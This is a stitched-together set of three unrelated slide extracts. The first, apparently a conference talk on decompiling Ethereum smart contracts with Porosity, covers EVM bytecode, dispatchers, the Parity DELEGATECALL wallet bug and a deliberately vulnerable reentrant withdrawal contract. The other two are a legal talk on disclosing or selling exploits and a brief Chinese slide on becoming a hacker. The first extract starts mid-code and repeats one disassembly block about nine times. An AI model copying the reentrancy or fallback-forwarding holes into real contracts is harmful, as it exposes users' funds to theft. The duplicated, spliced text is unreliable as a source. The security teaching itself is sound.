receiver, uint amount) { if (balances[msg.sender] < amount) return; balances[msg.sender] -= amount; balances[receiver] += amount; Sent(msg.sender, receiver, amount); } } Memory Management Stack Virtual stack is being used for operations to pass parameters to opcodes. 256-bit values/entries Maximum size of 1024 elements Storage (Persistent) Key-value storage mapping (256-to-256-bit integers) Can’t be enumerated. SSTORE/SLOAD Memory (Volatile) 256-bit values (lots of AND operations, useful for type discovery) MSTORE/MLOAD Basic Blocks Usually start with the JUMPDEST instruction – except few cases. JUMP* instruction jump to the address contained in the 1st element of the stack. JUMP* instruction are (almost always) preceded by PUSH instruction This allows to push the destination address in the stack, instead of hardcoding the destination offset. SWAP/DUP/POP stack manipulation instructions can make jump destination address harder to retrieve This requires dynamic analysis to rebuild the relationship between each basic block. EVM functions/instructions EVM instructions are more like functions, such as: Arithmetic, Comparison & Bitwise Logic Operations SHA3 Environmental & Block Information Stack, Memory, Storage and Flow Operations Logging & System Operations Instruction call - Addition The above translates at the EVM-pseudo code: add(0x2, 0x1) Offset Instruction Stack[0] Stack[2] n PUSH1 0x1 0x1 n + 1 PUSH1 0x2 0x2 0x1 n + 2 ADD 0x3 EVM Call Can be identified by the CALL instruction. Call external accounts/contracts pointed by the second parameter The second parameter contains the actual 160 address of the external contract With the exception of 4 hardcoded contracts: 1 – elliptic curve public key recovery function 2- SHA2 function 3- RIPEMD160 function 4- Identity function call( gasLimit, to, value, inputOffset, inputSize, outputOffset, outputSize ) User-Defined functions (Solidity) CALLDATALOAD instruction is used to read the Environmental Information Block (EIB) such as parameters. First 4 bytes of the EIB contains the 32-bits hash of the called function. Followed by the parameters based on their respective types. e.g. int would be a 256 bits word. a = calldataload(0x4) b = calldataload(0x24) add(calldataload(0x4), calldataload(0x24) function foo(int a, int b) { return a + b; } Type Discovery - Addresses As an example, addresses are 160-bit words Since stack registers are 256-bit words, they can easily be identified through AND operations using the 0xffffffffffffffffffffffffffffffffffffffff mask. Mask can be static or computed dynamically Ethereum Assembly Translation (msg.sender) CALLER PUSH1 0x01 PUSH 0xA0 PUSH1 0x02 EXP SUB AND and(reg256, sub(exp(2, 0xa0), 1)) (EVM) reg256 & (2 ** 0xA0) - 1) (Intermediate) address (Solidity) Bytecode The bytecode is divided in two categories: Pre-loader code Found at the beginning that contains the routine to bootstrap the contract Runtime code of the contract The core code written by the user that got compiled by Solidity Each contract contain a dispatch function that redirects the call to the corresponding function based on the provided hash function. Bytecode – Pre-loader CODECOPY copies the runtime part of the contract into the EVM memory – which gets executed at base address 0x0 00000000 6060 00000002 6040 00000004 52 00000005 6000 00000007 6001 00000009 6000 0000000b 610001 0000000e 0a 0000000f 81 00000010 54 00000011 81 00000012 60ff 00000014 02 00000015 19 00000016 16 00000017 90 00000018 83 00000019 02 0000001a 17 0000001b 90 0000001c 55 0000001d 50 0000001e 61bb01 00000021 80 00000022 612b00 00000025 6000 00000027 39 00000028 6000 0000002a f3 PUSH1 60 PUSH1 40 MSTORE PUSH1 00 PUSH1 01 PUSH1 00 PUSH2 0001 EXP DUP2 SLOAD DUP2 PUSH1 ff MUL NOT AND SWAP1 DUP4 MUL OR SWAP1 SSTORE POP PUSH2 bb01 DUP1 PUSH2 2b00 PUSH1 00 CODECOPY PUSH1 00 RETURN Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP calldataload(0x0) / exp(0x2, 0xe0) Function Hashes The 4 bytes of the sha3 (keccak256) value for the string functionName(param1Type, param2Type, etc) [ { "constant":false, "inputs":[{ "name":"a", "type":"uint256" }], "name":"double", "outputs":[{ "name":"", "type":"uint256" }], "type":"function" } ] keccak256("double(uint256)") => eee972066698d890c32fec0edb38a360c32b71d0a29ffc75b6ab6d2774ec9901 double(uint256) -> 0xeee97206 triple(uint256) -> 0xf40a049d Extracting function hash calldataload(0x0) / exp(0x2, 0xe0) (0x12345678xxxx / 0x00000001xxxx) = 0x12345678 jumpi(eq(calldataload(0x0) / exp(0x2, 0xe0), 0xeee97206)) PS C:\Program Files\Geth> .\evm.exe \ --code 60e060020a60003504 \ --debug \ --input 12345678aaaaaaaabbbbbbbbccccccccdddddddd PC 00000009: STOP GAS: 9999999923 COST: 0 STACK = 1 0000: 0000000000000000000000000000000000000000000000000000000012345678 MEM = 0 STORAGE = 0 Ethereum Emulator Static CFG (--cfg) Emulated CFG (--cfg-full) Control Flow Graph Dispatcher – pseudo code hash = calldataload(0x0) / exp(0x2, 0xe0); switch (hash) { case 0xeee97206: // double(uint256) memory[0x60] = calldataload(0x4) * 2; return memory[0x60]; break; case 0xf40a049d: // triple(uint256) memory[0x60] = calldataload(0x4) * 3; return memory[0x60]; break; default: // STOP break; } contract C { function double(int arg_4) { return arg_4 * 2; } function triple(int arg_4) { return arg_4 * 3; } } Pseudo-Code Translated Code Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP Bytecode – Dispatcher (--list) loc_00000000: 0x00000000 60 60 PUSH1 60 0x00000002 60 40 PUSH1 40 0x00000004 52 MSTORE 0x00000005 60 e0 PUSH1 e0 0x00000007 60 02 PUSH1 02 0x00000009 0a EXP 0x0000000a 60 00 PUSH1 00 0x0000000c 35 CALLDATALOAD 0x0000000d 04 DIV 0x0000000e 63 06 72 e9 ee PUSH4 06 72 e9 ee 0x00000013 81 DUP2 0x00000014 14 EQ 0x00000015 60 24 PUSH1 24 0x00000017 57 JUMPI loc_00000018: 0x00000018 80 DUP1 0x00000019 63 9d 04 0a f4 PUSH4 9d 04 0a f4 0x0000001e 14 EQ 0x0000001f 60 35 PUSH1 35 0x00000021 57 JUMPI loc_00000022: 0x00000022 5b JUMPDEST 0x00000023 00 STOP double(uint256): 0x00000024 5b JUMPDEST 0x00000025 60 45 PUSH1 45 0x00000027 60 04 PUSH1 04 0x00000029 35 CALLDATALOAD 0x0000002a 60 00 PUSH1 00 0x0000002c 60 4f PUSH1 4f 0x0000002e 82 DUP3 0x0000002f 60 02 PUSH1 02 loc_00000031: 0x00000031 5b JUMPDEST 0x00000032 02 MUL 0x00000033 90 SWAP1 0x00000034 56 JUMP triple(uint256): 0x00000035 5b JUMPDEST 0x00000036 60 45 PUSH1 45 0x00000038 60 04 PUSH1 04 0x0000003a 35 CALLDATALOAD 0x0000003b 60 00 PUSH1 00 0x0000003d 60 4f PUSH1 4f 0x0000003f 82 DUP3 0x00000040 60 03 PUSH1 03 0x00000042 60 31 PUSH1 31 0x00000044 56 JUMP DELEGATECALL & $30M Parity Bug contract Wallet { address _walletLibrary; address owner; // initWallet() is only invoked by the constructor. WalletLibrary is hardcoded. function Wallet(address _owner) { _walletLibrary = 0xa657491c1e7f16adb39b9b60e87bbb8d93988bc3; _walletLibrary.delegatecall(bytes4(sha3("initWallet(address)")), _owner); } (…) // fallback function behaves like a “generic forward” (WTF?) // Wallet.initWallet(attacker) becomes walletLibrary.initWallet(attacker) function () payable { _walletLibrary.delegatecall(msg.data); } } Abusing the dispatcher to reinitialize a wallet? Generic-Forward & Fall back functions Typical issue introduce by the lack of upgradeability of smart- contract Software engineering is hard enough, but smart-contracts need to be: Backward-Compatible Forward-Compatible Does not help to make the language verifiable. Fall back functions are undefined behaviors. Imagine if your kernel would behave like that. Scary, right ? Now, imagine if that’s your bank… Fixing the initialization bug - function initMultiowned(address[] _owners, uint _required) { + function initMultiowned(address[] _owners, uint _required) internal { - function initDaylimit(uint _limit) { + function initDaylimit(uint _limit) internal { + modifier only_uninitialized { if (m_numOwners > 0) throw; _; } - function initWallet(address[] _owners, uint _required, uint _daylimit) { + function initWallet(address[] _owners, uint _required, uint _daylimit) only_uninitialized { Code Analysis – Vulnerable Contract contract SendBalance { mapping ( address => uint ) userBalances ; bool withdrawn = false ; function getBalance (address u) constant returns ( uint ){ return userBalances [u]; } function addToBalance () { userBalances[msg.sender] += msg.value ; } function withdrawBalance (){ if (!(msg.sender.call.value( userBalances [msg.sender])())) { throw ; } userBalances [msg.sender] = 0; } } Code Analysis – Vulnerable Contract contract SendBalance { mapping ( address => uint ) userBalances ; bool withdrawn = false ; function getBalance (address u) constant returns ( uint ){ return userBalances [u]; } function addToBalance () { userBalances[msg.sender] += msg.value ; } function withdrawBalance (){ if (!(msg.sender.call.value( userBalances [msg.sender])())) { throw ; } userBalances [msg.sender] = 0; } } Caller contract can recall this function using its fallback function Understanding the control flow In the case of reentrant vulnerability, since we can record the EVM state at each instruction using porosity. We can track in which basic block SSTORE instructions are called. userBalances [msg.sender] = 0; And track states for each basic block. .\demo.ps1 $porosity = 'E:\projects\porosity\Debug\porosity.exe' $abi = '[{\"constant\":false,\"inputs\":[],\"name\":\"withdrawBalance\",\"outputs\":[],\"ty pe\":\"function\"},{\"constant\":false,\"inputs\":[],\"name\":\"addToBalance\",\"out puts\":[],\"type\":\"function\"},{\"constant\":true,\"inputs\":[{\"name\":\"u\",\"ty pe\":\"address\"}],\"name\":\"getBalance\",\"outputs\":[{\"name\":\"\",\"type\":\"ui nt256\"}],\"type\":\"function\"}]' $code = '60606040526000357c01000000000000000000000000000000000000000000000000000000009004806 35fd8c7101461004f578063c0e317fb1461005e578063f8b2cb4f1461006d5761004d565b005b61005c6 004805050610099565b005b61006b600480505061013e565b005b6100836004808035906020019091905 05061017d565b6040518082815260200191505060405180910390f35b3373fffffffffffffffffffffff fffffffffffffffff16611111600060005060003373ffffffffffffffffffffffffffffffffffffffff1 6815260200190815260200160002060005054604051809050600060405180830381858888f1935050505 0151561010657610002565b6000600060005060003373fffffffffffffffffffffffffffffffffffffff f168152602001908152602001600020600050819055505b565b34600060005060003373fffffffffffff fffffffffffffffffffffffffff168152602001908152602001600020600082828250540192505081905 5505b565b6000600060005060008373ffffffffffffffffffffffffffffffffffffffff1681526020019 081526020016000206000505490506101b6565b91905056’ & $porosity --abi $abi --runtime-code $code --decompile --verbose 0 Known class of bugs Reentrant Vulnerabilities / Race Condition Famously known because of the $50M USD DAO hack (2016) [8] Call Stack Vulnerabilities Got 1024 frames but a bug ain’t one – c.f. Least Authority [12] Time Dependency Vulnerabilities @mhswende blogposts are generally awesome, particularly the roulette one [10] Unconditional DELEGATECALL Porosity + Quorum = <3 Quorum: Ethereum code fork created by J.P. Morgan aimed at enterprises that want to use a permissioned blockchain that adds private smart contract execution & configurable consensus. Quorum now includes Porosity integrated directly into geth out of the box: Scan private contracts sent to your node from other network participants Incorporate into security & patching processes for private networks with formalized governance models Automate scanning and analyze risk across semi-public Quorum networks https://github.com/jpmorganchase/quorum Future Ethereum DApps created a new segment for softwares. Porosity Improving support for conditional and loop statements Ethereum / Solidity & Security Fast growing community and more tools such as OYENTE or Porosity Personally, looking forward seeing the Underhanded Solidity Coding Contest [10] results EVM vulnerabilities triggered by malicious bytecode? CLOUDBURST on the blockchain More Blockchain VMs ? Swapping the EVM for Web Assembly (WASM) for 2018 Future - WebAssembly New Ethereum Roadmap (March 2017) mentions making the EVM obsolete and replacing it with WebAssembly for 2018. “WebAssembly (or WASM) is a new, portable, size- and load-time- efficient format.” WebAssembly is currently being designed as an open standard by a W3C Community Group. WebAssembly defines an instruction set, intermediate source format (WAST) and a binary encoded format (WASM). Major browser JavaScript engines will notably have native support for WebAssembly – including V8, Chakra and Spidermonkey. https://github.com/ewasm/design WASM + DApps + Blockchain C++ -> WASM is already a thing https://mbebenita.github.io/WasmExplorer/ And a similar thing is planned for eWASM Acknowledgements Mohamed Saher Halvar Flake DEFCON Review Board Team Max Vorobjov & Andrey Bazhan Martin H. Swende Gavin Wood Andreas Olofsson References [1] Woods, Gavin. "Ethereum: A Secure Decentralised Generalised Transaction Ledger." Web. https://github.com/ethereum/yellowpaper.pdf [2] Olofsson, Andreas. "Solidity Workshop." Web. https://github.com/androlo/solidity-workshop [3] Olofsson, Andreas. "Solidity Contracts." Web. https://github.com/androlo/standard-contracts [4] Velner, Yarn, Jason Teutsch, and Loi Luu. "Smart Contracts Make Bitcoin Mining Pools Vulnerable." Web. https://eprint.iacr.org/2017/230.pdf [5] Luu, Loi, Duc-Hiep Chu, Hrishi Olickel, Aquinas Hobor. "Making Smart Contracts Smarter." Web. https://www.comp.nus.edu.sg/%7Ehobor/Publications/2016/Making%20Smart%20Contracts%20Smarter.pdf [6] Atzei, Nicola, Massimo Bartoletti, and Tiziana Cimoli. " A Survey of Attacks on Ethereum Smart Contracts." Web. https://eprint.iacr.org/2016/1007.pdf [7] Sarkar, Abhiroop. "Understanding the Transactional Nature of Smart-Contracts." Web. https://abhiroop.github.io/Exceptions-and-Transactions [8] Siegel, David. "Understanding The DAO Attack." Web. http://www.coindesk.com/understanding-dao-hack-journalists [9] Blockchain software for asset management. "OYENTE: An Analysis Tool for Smart Contracts." Web. https://github.com/melonproject/oyente [10] Holst Swende, Martin. “Breaking the house.“ Web. http://martin.swende.se/blog/Breaking_the_house.html [11] Buterin, Vitalik. "Thinking About Smart Contract Security.“Web. https://blog.ethereum.org/2016/06/19/thinking-smart-contract-security [12] Least Authority. "Gas Economics: Call Stack Depth Limit Errors." Web. https://github.com/LeastAuthority/ethereum- analyses/blob/master/GasEcon.md#callstack-depth-limit-errors [13] Underhanded Solidity Coding Contest, Web. http://u.solidity.cc/ [14] Quorum. "A permissioned implementation of Ethereum supporting data privacy." https://github.com/jpmorganchase/quorum m@comae.io / @msuiche https://github.com/comaeio/porosity
pdf
How to Disclose or Sell an Exploit Without Getting in Trouble Jim Denaro @CipherLaw 1 DEF CON 21 This presentation is not legal advice about your specific situation. “If I were your lawyer, I’d advise you not to answer that tweet.” DEF CON 21 2 What are we talking about? “Techniques” Information relating to both exploits and vulnerabilities that enable another party to obtain unauthorized access to a computer, deny access by others to a computer, or cause permanent or temporary damage to a computer or a network. DEF CON 21 3 Risks in Publishing or Selling Conspiracy to violate the CFAA 4 DEF CON 21 Risks in Publishing or Selling • Providing material support to terrorists • Aiding and abetting • Cryptography export/arms controls • Treason • Espionage Act 5 DEF CON 21 Regulatory Outlook Trends •In the US •In Europe •Globally 6 DEF CON 21 Practical Countermeasures •Create Dual-Use “Tools”. 7 DEF CON 21 Practical Countermeasures •Know your reader / buyer. •Do not direct technique information to someone you suspect is likely to use it illegally. 8 DEF CON 21 Practical Countermeasures •Be aware of any pre-existing relationships with possible targets of the technique. 9 DEF CON 21 Practical Countermeasures •Avoid unintentionally creating knowledge and intent. 10 DEF CON 21 Practical Countermeasures •Be careful in providing “support”. 11 DEF CON 21 Practical Countermeasures •Use disclaimers “Compliance with Law. Customer acknowledges that the Software can be configured by the user to obtain access to information using penetration techniques that may cause disruption in systems or services and may cause data corruption. Denial of Service attacks may be run on command that will attempt to render systems and services unavailable to authorized users. Customer specifically agrees that the Software will only be used to target devices under the authorized control of the Customer and in a way in which damage to systems or loss of access or loss of data will create no liability for [company] or any third party. Customer further agrees to strictly comply with all federal, state and local laws and regulations governing the use of network scanners, vulnerability assessment software products, hacking tools, encryption devices, and related software in all jurisdictions in which systems are scanned or scanning is controlled.” “You also agree that you will not use these products for any purposes prohibited by United States law, including, without limitation, the development, design, manufacture or production of nuclear, missiles, or chemical or biological weapons.” 12 DEF CON 21
pdf
如何成為駭客? 剛剛那些駭客的朋友 GD 駭客 Roadmap 如何成為駭客? • 好奇心 feeling everything be interesting • 持續學習 spend a lot time on new tricks • 習慣踏出舒適圈 • 專注力 research, go after one goal for a long while • 需要滿多運氣、沒有也別灰心 • 有耐心 不要柿子挑軟的 • 創意 thinking out-of-the-box • 形成駭客的直覺 當興趣或工作? 有能力之後的選擇? Cleverness is a gift, Skillz can be learned, Kindness is a choice.
pdf
